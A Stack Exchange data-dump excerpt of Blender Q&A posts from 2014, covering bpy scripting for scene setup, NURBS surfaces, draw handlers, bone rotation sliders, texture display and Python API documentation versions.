  <row Id="8580" PostTypeId="2" ParentId="8574" CreationDate="2014-04-14T20:21:50.667" Score="3" Body="&lt;p&gt;You will get the API calls for free by pulling down the &lt;em&gt;Info Header&lt;/em&gt; as shown here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wGOJk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just perform the scene setup manually, select all lines &lt;kbd&gt;A&lt;/kbd&gt; and copy'n paste the commands into a python file. You  might want to add the snippet from the comment by iKlsR.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.view3d.snap_cursor_to_center()&#xA;bpy.ops.mesh.primitive_plane_add(radius=1, view_align=False, enter_editmode=False, location=(0, 0, 0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;bpy.ops.transform.resize(value=(6.39051, 6.39051, 6.39051), constraint_axis=(False, False, False), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1)&#xA;bpy.ops.object.lamp_add(type='HEMI', view_align=False, location=(0, 0, 0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;bpy.ops.transform.translate(value=(0, 0, 6.98471), constraint_axis=(False, False, True), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1)&#xA;bpy.ops.transform.translate(value=(0, -6.91949, 0), constraint_axis=(False, True, False), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1, release_confirm=True)&#xA;bpy.ops.transform.rotate(value=-0.645382, axis=(-0.818828, 0.361665, -0.445779), constraint_axis=(False, False, False), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1)&#xA;bpy.context.space_data.context = 'RENDER'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-04-14T20:21:50.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8581" PostTypeId="2" ParentId="8577" CreationDate="2014-04-14T20:34:43.013" Score="4" Body="&lt;p&gt;You have to pass your parameters as keyword arguments. See &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.ops.html#keywords-and-positional-arguments&quot; rel=&quot;nofollow&quot;&gt;api docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct call should be &lt;code&gt;bpy.ops.wm.save_as_mainfile(filepath=your_path)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-04-14T20:34:43.013" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8582" PostTypeId="2" ParentId="8579" CreationDate="2014-04-14T21:04:17.543" Score="7" Body="&lt;p&gt;Thanks to Vailreth from IRC.  He noticed that the Transparency under Render Pipeline Options (which started out minimized) was not checked on the problem material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZumzG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-04-14T21:04:17.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8583" PostTypeId="1" CreationDate="2014-04-14T23:06:17.793" Score="2" ViewCount="869" Body="&lt;p&gt;I would like to try coding a simple Blender modification: to have the active window (i.e. The one beneath the mouse cursor) outline in orange, with the title bar also lighting in Orange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do this from the Python level, or is it necessary to go down to the C level?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2014-04-14T23:48:49.520" Title="Draw rectangle around active window (C or Python)" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8584" PostTypeId="1" AcceptedAnswerId="8592" CreationDate="2014-04-14T23:08:46.047" Score="4" ViewCount="553" Body="&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_59_0/info_quickstart.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Python documentation&lt;/a&gt; has a very attractive colour scheme:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lDQh3.png&quot; alt=&quot;Example python prompt&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get this colour scheme in the Python prompt?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="12" LastEditDate="2014-04-15T00:05:13.330" LastActivityDate="2014-04-15T10:54:50.743" Title="Syntax highlighting in Python prompt" Tags="&lt;interface&gt;&lt;customization&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8585" PostTypeId="1" AcceptedAnswerId="8587" CreationDate="2014-04-14T23:38:37.380" Score="5" ViewCount="4572" Body="&lt;p&gt;I followed the tutorial on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Tutorials/Modeling/Surfaces/Skinning&quot; rel=&quot;nofollow&quot;&gt;Modeling/Surfaces/Skinning wiki page&lt;/a&gt;, and then I created a simple test. I created a Surface NURBS curve, made 3 copies with space between them, selected all, and hit &lt;kbd&gt;F&lt;/kbd&gt;, but nothing happened. No error or any indication that &lt;kbd&gt;F&lt;/kbd&gt; is supposed to do anything was displayed. I am new to Blender and am using version 2.70, so not sure what I am doing wrong. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3140" LastEditorUserId="2217" LastEditDate="2014-06-26T22:02:39.677" LastActivityDate="2014-06-26T22:02:39.677" Title="Why can I not use the Make Segments command on my Surface NURBS Curves?" Tags="&lt;modeling&gt;&lt;nurbs-surface&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8586" PostTypeId="2" ParentId="8583" CreationDate="2014-04-14T23:48:49.520" Score="2" Body="&lt;p&gt;It should be done in the C code, there's already something to highlight the active area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Python, you're pretty limited to draw handlers, which are attached to regions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bgl&#xA;&#xA;def draw_callback_px(self, context):&#xA;&#xA;    # 50% alpha, 2 pixel width line&#xA;    bgl.glEnable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(1.0, 0.0, 1.0, 0.5)&#xA;    lw = 4 // 2&#xA;    bgl.glLineWidth(lw*2)&#xA;&#xA;    r = context.region&#xA;&#xA;    bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;    bgl.glVertex2i(lw, lw)&#xA;    bgl.glVertex2i(r.width - lw, lw)&#xA;    bgl.glVertex2i(r.width - lw, r.height - lw)&#xA;    bgl.glVertex2i(lw, r.height - lw)&#xA;    bgl.glVertex2i(lw, lw)&#xA;    bgl.glEnd()&#xA;&#xA;    # restore opengl defaults&#xA;    bgl.glLineWidth(1)&#xA;    bgl.glDisable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&#xA;&#xA;class ModalDrawOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Draw a line with the mouse&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal View3D Operator&quot;&#xA;&#xA;    def modal(self, context, event):&#xA;        context.area.tag_redraw()&#xA;&#xA;        if event.type == 'LEFTMOUSE':&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;            return {'FINISHED'}&#xA;&#xA;        elif event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        if context.area.type == 'VIEW_3D':&#xA;            # the arguments we pass the the callback&#xA;            args = (self, context)&#xA;            # Add the region OpenGL drawing callback&#xA;            # draw in view space with 'POST_VIEW' and 'PRE_VIEW'&#xA;            self._handle = bpy.types.SpaceView3D.draw_handler_add(draw_callback_px, args, 'WINDOW', 'POST_PIXEL')&#xA;&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;View3D not found, cannot run operator&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalDrawOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalDrawOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    for area in bpy.context.screen.areas:&#xA;        if area.type == &quot;VIEW_3D&quot;:&#xA;            bpy.ops.view3d.modal_operator({'area': area}, 'INVOKE_DEFAULT')&#xA;            break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-14T23:48:49.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8587" PostTypeId="2" ParentId="8585" CreationDate="2014-04-15T00:11:21.857" Score="10" Body="&lt;p&gt;After reading the tutorial, here are a few points you can check in your workflow:&lt;/p&gt;&#xA;&lt;h2&gt;Point #1&lt;/h2&gt;&#xA;&lt;p&gt;Make sure you add a &lt;em&gt;&lt;strong&gt;Surface&lt;/strong&gt;&lt;/em&gt; NURB Curve, not any other kind of object. A &amp;quot;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Surfaces&quot; rel=&quot;noreferrer&quot;&gt;Surface&lt;/a&gt;&amp;quot; is different from a &amp;quot;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes&quot; rel=&quot;noreferrer&quot;&gt;Mesh&lt;/a&gt;&amp;quot; or a &amp;quot;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves&quot; rel=&quot;noreferrer&quot;&gt;Curve&lt;/a&gt;&amp;quot;, as you can see here in the Add menu:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6eDTZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notice there are other objects that have NURB or Curve in their name, but these are &lt;strong&gt;not&lt;/strong&gt; what the tutorial is describing:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fu6pg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, when adding a new object, go by the first level of names, as shown here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3iYIR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Point #2&lt;/h2&gt;&#xA;&lt;p&gt;After Adding the first Surface NURB Curve, you must be in Edit mode when you duplicate it&lt;br /&gt;&#xA;(&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;), because the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves/Editing&quot; rel=&quot;noreferrer&quot;&gt;Make Segments&lt;/a&gt; command (&lt;kbd&gt;F&lt;/kbd&gt;) will &lt;strong&gt;only&lt;/strong&gt; work in Edit mode.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mmBpF.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you were &lt;strong&gt;not&lt;/strong&gt; in Edit mode when you made the duplicates, each one would be it's own separate object and the &lt;kbd&gt;F&lt;/kbd&gt; command would not work.&lt;/p&gt;&#xA;&lt;p&gt;By duplicating the surfaces while in Edit mode, all of the duplicates are considered one object,&lt;br /&gt;&#xA;&lt;strong&gt;even if they are not connected&lt;/strong&gt; (which they aren't until you use &lt;kbd&gt;F&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;h2&gt;Point #3&lt;/h2&gt;&#xA;&lt;p&gt;After duplicating the Surfaces, stay in Edit mode, then select All with &lt;kbd&gt;A&lt;/kbd&gt;, and then press &lt;kbd&gt;F&lt;/kbd&gt; to Make Segments (connect them all together):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iZjVC.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Just to explain the name of the command, when you use &amp;quot;Make Segments&amp;quot; (&lt;kbd&gt;F&lt;/kbd&gt;), the &amp;quot;segments&amp;quot; that are made are the ones connecting the vertices together, shown here in yellow on the right:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7zgfd.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-15T00:52:31.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8588" PostTypeId="1" CreationDate="2014-04-15T01:29:23.580" Score="3" ViewCount="964" Body="&lt;p&gt;I am creating a UI for a rig and I want to have a property on a panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The property is a bones rotation_eular.x value and it needs to be a slider. When setting a property as a slider &quot;slider=True&quot; it uses the min and max values of the property to determine the range of the slider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that a bone has no min or max values so the slider is useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to either set a custom range for the slider or to set the bones rotation_eular properties min/max values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the slider range to be from -90 to +90, I know I could create a custom property and then add a driver to the rotation_eular.x property but then I could not use the manipulator in 3Dview to animate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Ideas? some more info in this thread:&#xA;&lt;a href=&quot;http://www.blenderartists.org/forum/showthread.php?333659-property-ui-question&quot; rel=&quot;nofollow&quot;&gt;http://www.blenderartists.org/forum/showthread.php?333659-property-ui-question&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3141" LastActivityDate="2014-04-15T07:29:55.590" Title="Bones and rotation property sliders" Tags="&lt;python&gt;&lt;bones&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8589" PostTypeId="1" AcceptedAnswerId="8590" CreationDate="2014-04-15T06:45:23.473" Score="4" ViewCount="1009" Body="&lt;p&gt;I have this scene where I modeled a tank for Unity, it is two objects, a top and a body. I unwrapped them in blender, made textures in zbrush, Now I want to make sure the seams look alright in blender before I export to Unity. I bring in the texture. I select all the entire body model and all the points in the UV editor and the 3d viewport. I set the display to textured. Nothing happens. I try pin and nothing happens. I have been messing with this way too long. I think Blender is broken but I really hope I just missed something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screen shot.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Buvlq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3144" LastActivityDate="2014-04-15T06:49:35.453" Title="Blender won't display texture, even in UV editor, Using a PNG (screen shot included)" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8590" PostTypeId="2" ParentId="8589" CreationDate="2014-04-15T06:49:35.453" Score="3" Body="&lt;p&gt;When you are using Cycles you also need to add it as a texture node for it to appear in the 3D view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7FoA2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When in textured view the last selected image texture node is displayed, when in material view an approximation of the material is displayed, with all textures mixed according to the node setup.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-15T06:49:35.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8591" PostTypeId="2" ParentId="8588" CreationDate="2014-04-15T07:29:55.590" Score="3" Body="&lt;p&gt;You can use limit constraints, the catch is that they limit visual values used but the actual values can be anything. This is only of concern if you want to access the values in python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r9oda.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while your slider will continue to display large rotation values like 1346 degrees the bone will only be rotated between -90 and 90 degrees visually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you setup a driver to use the rotation value of the bone then it will just work, the driven value will be within the limit rotation values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1E1jm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to access the rotation value within python then you should manually apply any limits to the value before using it.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-15T07:29:55.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8592" PostTypeId="2" ParentId="8584" CreationDate="2014-04-15T10:31:53.977" Score="3" Body="&lt;p&gt;Syntax highlighting in the Python command line is not supported currently.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="1363" LastEditDate="2014-04-15T10:54:50.743" LastActivityDate="2014-04-15T10:54:50.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8593" PostTypeId="2" ParentId="7020" CreationDate="2014-04-15T12:00:33.500" Score="7" Body="&lt;p&gt;While it's not very pretty, it is possible. This example recreates the default  NURBS Surface. Inspired by &lt;a href=&quot;https://blender.stackexchange.com/a/8587/47&quot;&gt;https://blender.stackexchange.com/a/8587/47&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;surface_data = bpy.data.curves.new('wook', 'SURFACE')&#xA;surface_data.dimensions = '3D'&#xA;&#xA;# 16 coordinates&#xA;points = [&#xA;    Vector((-1.5, -1.5, 0.0, 1.0)), Vector((-1.5, -0.5, 0.0, 1.0)),&#xA;    Vector((-1.5, 0.5, 0.0, 1.0)), Vector((-1.5, 1.5, 0.0, 1.0)),&#xA;    Vector((-0.5, -1.5, 0.0, 1.0)), Vector((-0.5, -0.5, 1.0, 1.0)),&#xA;    Vector((-0.5, 0.5, 1.0, 1.0)), Vector((-0.5, 1.5, 0.0, 1.0)),&#xA;    Vector((0.5, -1.5, 0.0, 1.0)), Vector((0.5, -0.5, 1.0, 1.0)),&#xA;    Vector((0.5, 0.5, 1.0, 1.0)), Vector((0.5, 1.5, 0.0, 1.0)),&#xA;    Vector((1.5, -1.5, 0.0, 1.0)), Vector((1.5, -0.5, 0.0, 1.0)),&#xA;    Vector((1.5, 0.5, 0.0, 1.0)), Vector((1.5, 1.5, 0.0, 1.0))&#xA;]&#xA;&#xA;# set points per segments (U * V)&#xA;for i in range(0, 16, 4):&#xA;    spline = surface_data.splines.new(type='NURBS')&#xA;    spline.points.add(3)  # already has a default vector&#xA;&#xA;    for p, new_co in zip(spline.points, points[i:i+4]):&#xA;        p.co = new_co&#xA;&#xA;surface_object = bpy.data.objects.new('NURBS_OBJ', surface_data)&#xA;bpy.context.collection.objects.link(surface_object)&#xA;&#xA;splines = surface_object.data.splines&#xA;for s in splines:&#xA;    for p in s.points:&#xA;        p.select = True&#xA;&#xA;bpy.context.view_layer.objects.active = surface_object&#xA;bpy.ops.object.mode_set(mode = 'EDIT') &#xA;bpy.ops.curve.make_segment()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The ideal situation would be where the spline.points would take a nested list and automatically combine them under the hood, rather than requiring calls to &lt;code&gt;bpy.ops&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Edit: For Blender 2.8+, linking objects uses 'bpy.context.collection'&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="74981" LastEditDate="2021-05-17T02:14:40.740" LastActivityDate="2021-05-17T02:14:40.740" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="8594" PostTypeId="1" AcceptedAnswerId="8596" CreationDate="2014-04-15T12:31:21.763" Score="2" ViewCount="96" Body="&lt;p&gt;Usually I search for help on Google, rather than navigating from the Blender homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I frequently find documentation targeting 2.59, e.g. &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_59_0/info_overview.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_59_0/info_overview.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If instead I navigate from the Blender homepage, I arrive at: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice that many links from this page seem to target 2.5 or 2.6, even the URL has 2.6 in it. Does this mean the documentation is a bit of a jumble?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then from this page I can reach: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/info_quickstart.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_70a_release/info_quickstart.html&lt;/a&gt;.  If I understand correctly, this is the up-to-date equivalent of the first link in this question, although this isn't obvious as many links&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I locate the legacy help, other than by random chance that Google returns a link? I don't seem to be able to reach it from blender.org&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And why is the old documentation so much prettier? It is the most tasteful colour scheme I've ever come across. Why was it abandoned? Is there any harm in using the older documentation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone put all of this into perspective?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="2217" LastEditDate="2014-05-07T13:33:17.253" LastActivityDate="2014-05-07T13:33:17.253" Title="Disparate versions of documentation for Python API" Tags="&lt;python&gt;&lt;documentation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8596" PostTypeId="2" ParentId="8594" CreationDate="2014-04-15T14:56:53.833" Score="2" Body="&lt;p&gt;There's an URL that redirects you to the most recent API docs:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/250PythonDoc/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sphinx Doc is used to generate the API documentation. I assume it's the default style we see for our API docs, not sure if Sphinx Doc changed their default or if there was a special stylesheet for 2.59 docs...&lt;br&gt;&#xA;&lt;a href=&quot;http://sphinx-doc.org/&quot; rel=&quot;nofollow&quot;&gt;http://sphinx-doc.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The docs received an own page, they were formerly embedded in the old, dark-themed website (and I welcome this change). It might be the reason why the theme changed, it's no more part of the website and doesn't need to look similar. In the meanwhile, the website theme changed to a bright design, and I would like to see the current Sphinx Doc theme adopted:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sphinx 1.0.7 - &lt;a href=&quot;https://docs.python.org/2.7/&quot; rel=&quot;nofollow&quot;&gt;https://docs.python.org/2.7/&lt;/a&gt;&lt;br&gt;&#xA;Sphinx 1.2.1 - &lt;a href=&quot;https://docs.python.org/3.4/&quot; rel=&quot;nofollow&quot;&gt;https://docs.python.org/3.4/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The light gray design looks stylish and modern like the new &lt;a href=&quot;http://www.blender.org&quot; rel=&quot;nofollow&quot;&gt;blender.org&lt;/a&gt; design&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Wiki is a jungle of 2.4x docs, partially copied over to 2.6 pages and never updated again, some 2.5 guides and screenshots missing newer features, as well as some very up-to-date 2.6x pages - mainly the most frequently accessed pages (introduction, 3d view port...). Too bad Google doesn't accept documentation projects for the Summer of Code, I worry it will stay a blend of old, partially updated and up-to-date pages forever.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-15T14:56:53.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8597" PostTypeId="2" ParentId="5331" CreationDate="2014-04-15T15:29:11.723" Score="2" Body="&lt;p&gt;I did additive material like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SIMPLEST SETUP:&#xA;&lt;a href=&quot;https://i.imgur.com/fnu461P.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/fnu461P.png&quot; alt=&quot;Image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WITHOUT EMISSION:&#xA;&lt;a href=&quot;https://i.imgur.com/r0YmtHz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/r0YmtHz.png&quot; alt=&quot;Image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WITH EMISSION:&#xA;&lt;a href=&quot;https://i.imgur.com/9vcKfJT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/9vcKfJT.png&quot; alt=&quot;Image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="911" LastEditDate="2014-04-16T09:37:18.780" LastActivityDate="2014-04-16T09:37:18.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8598" PostTypeId="1" CreationDate="2014-04-15T16:09:21.673" Score="12" ViewCount="8577" Body="&lt;p&gt;I have code to make a copy of my scene.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.scene.new(type='FULL_COPY')&#xA;cloneScene = bpy.context.scene&#xA;cloneScene.name = 'clone'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wish to adapt it so that if the .blend contain several scenes, it will make a copy of the scene named 'Scene', i.e. The default scene (in my use case, it is reasonable to suppose this exists).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First thought is to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene = bpy.data.scenes[ 'Scene' ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doc on bpy.context here &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_57_release/bpy.context.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_57_release/bpy.context.html&lt;/a&gt; says 'Note that all context values are readonly, but may be modified through the data api or by running operators'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I assume I cannot do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a related thread: &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-201501.html&quot; rel=&quot;noreferrer&quot;&gt;http://blenderartists.org/forum/archive/index.php/t-201501.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which recommends:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.screens['Default'].scene = bpy.data.scenes['Scene']&#xA;bpy.context.screen.scene=bpy.data.scenes['Scene']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't understand what's going on here, so I'm hesitant to blindly copy the code across.  Does each sub-window have an associated screen, so my 3-D view could be viewing one scene whereas the animation view could be looking at another?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="1693" LastEditDate="2014-04-15T21:51:20.343" LastActivityDate="2020-05-20T20:02:33.717" Title="How to set active scene via Python?" Tags="&lt;python&gt;&lt;scene&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8599" PostTypeId="2" ParentId="8598" CreationDate="2014-04-15T16:44:00.857" Score="9" Body="&lt;p&gt;Yes, that answer is valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only need one of these 2 lines, they're just a different way to access the &lt;code&gt;Screen&lt;/code&gt; data block. A screen datablock defines the layout of editors (which is why there is a selection of &quot;screens&quot; for e.g. UV editing, animation, etc. and you can fully customized that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every window (the system window blender runs in) has a screen property. Every screen in turn has a scene property which defines the active editable scene. Both of these properties are selectable at the top of the window by default. The most convenient way to set the &lt;code&gt;screen.scene&lt;/code&gt; property is probably via the context:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.context.screen.scene = some_scene&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="436" LastEditorUserId="1363" LastEditDate="2014-04-15T20:31:16.083" LastActivityDate="2014-04-15T20:31:16.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
